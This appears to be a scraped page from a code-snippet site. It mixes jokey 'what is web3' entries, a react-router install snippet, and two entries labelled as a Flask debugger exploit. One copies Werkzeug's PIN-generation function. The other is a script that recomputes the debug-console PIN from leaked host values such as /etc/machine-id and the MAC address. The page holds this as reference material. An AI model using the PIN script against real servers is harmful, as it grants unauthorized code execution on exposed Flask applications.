what is web3

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Join my NFT Club, https://nas.io/the-nft-club

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Tags: flip nft server web3 whatever

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Contributed on Oct 23 2024

Rick Astley

0 Answers Avg Quality 2/10

what is web3

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Like the Marvel villain Thanos, Web3 is inevitable

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Source: hbr.org

Tags: web3

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Contributed on Jun 06 2024

Thebetta

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python flask debuger exploit

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def get_pin_and_cookie_name(app):
    """Given an application object this returns a semi-stable 9 digit pin
    code and a random key.  The hope is that this is stable between
    restarts to not make debugging particularly frustrating.  If the pin
    was forcefully disabled this returns None.
 
    Second item in the resulting tuple is the cookie name for remembering.
    """
    pin = os.environ.get("WERKZEUG_DEBUG_PIN")
    rv = None
    num = None
 
    # Pin was explicitly disabled
    if pin == "off":
        return None, None
 
    # Pin was provided explicitly
    if pin is not None and pin.replace("-", "").isdigit():
        # If there are separators in the pin, return it directly
        if "-" in pin:
            rv = pin
        else:
            num = pin
 
    modname = getattr(app, "__module__", app.__class__.__module__)
 
    try:
        # getuser imports the pwd module, which does not exist in Google
        # App Engine. It may also raise a KeyError if the UID does not
        # have a username, such as in Docker.
        username = getpass.getuser()
    except (ImportError, KeyError):
        username = None
 
    mod = sys.modules.get(modname)
 
    # This information only exists to make the cookie unique on the
    # computer, not as a security feature.
    probably_public_bits = [
        username,
        modname,
        getattr(app, "__name__", app.__class__.__name__),
        getattr(mod, "__file__", None),
    ]
 
    # This information is here to make it harder for an attacker to
    # guess the cookie name.  They are unlikely to be contained anywhere
    # within the unauthenticated debug page.
    private_bits = [str(uuid.getnode()), get_machine_id()]
 
    h = hashlib.md5()
    for bit in chain(probably_public_bits, private_bits):
        if not bit:
            continue
        if isinstance(bit, text_type):
            bit = bit.encode("utf-8")
        h.update(bit)
    h.update(b"cookiesalt")
 
    cookie_name = "__wzd" + h.hexdigest()[:20]
 
    # If we need to generate a pin we salt it a bit more so that we don't
    # end up with the same value and generate out 9 digits
    if num is None:
        h.update(b"pinsalt")
        num = ("%09d" % int(h.hexdigest(), 16))[:9]
 
    # Format the pincode in groups of digits for easier remembering if
    # we don't have a result yet.
    if rv is None:
        for group_size in 5, 4, 3:
            if len(num) % group_size == 0:
                rv = "-".join(
                    num[x : x + group_size].rjust(group_size, "0")
                    for x in range(0, len(num), group_size)
                )
                break
        else:
            rv = num
 
    return rv, cookie_name

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Source: p1n9.tistory.com

Tags: exploit flask python

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Contributed on Oct 23 2024

Defeated Dunlin

0 Answers Avg Quality 2/10

python flask debuger exploit

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import hashlib
from itertools import chain
probably_public_bits = [
	'web3_user',# username
	'flask.app',# modname
	'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
	'/usr/local/lib/python3.5/dist-packages/flask/app.py' # getattr(mod, '__file__', None),
]

private_bits = [
	'279275995014060',# str(uuid.getnode()),  /sys/class/net/ens33/address
	'd4e6cb65d59544f3331ea0425dc555a1'# get_machine_id(), /etc/machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
	if not bit:
		continue
	if isinstance(bit, str):
		bit = bit.encode('utf-8')
	h.update(bit)
h.update(b'cookiesalt')
#h.update(b'shittysalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
	h.update(b'pinsalt')
	num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
	for group_size in 5, 4, 3:
		if len(num) % group_size == 0:
			rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
						  for x in range(0, len(num), group_size))
			break
	else:
		rv = num

print(rv)

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Source: p1n9.tistory.com

Tags: exploit flask python

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Contributed on Oct 23 2024

Defeated Dunlin

0 Answers Avg Quality 2/10

react-router - npm

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npm create vite@latest name-of-your-project -- --template react
# follow prompts
cd <your new project directory>
npm install react-router-dom # always need this!
npm install localforage match-sorter sort-by # only for this tutorial.
npm run dev

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Source: Grepper

Tags: javascript npm react-router

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Contributed on Oct 23 2024

Muhammad Abu Bakar

0 Answers Avg Quality 2/10

what is web3

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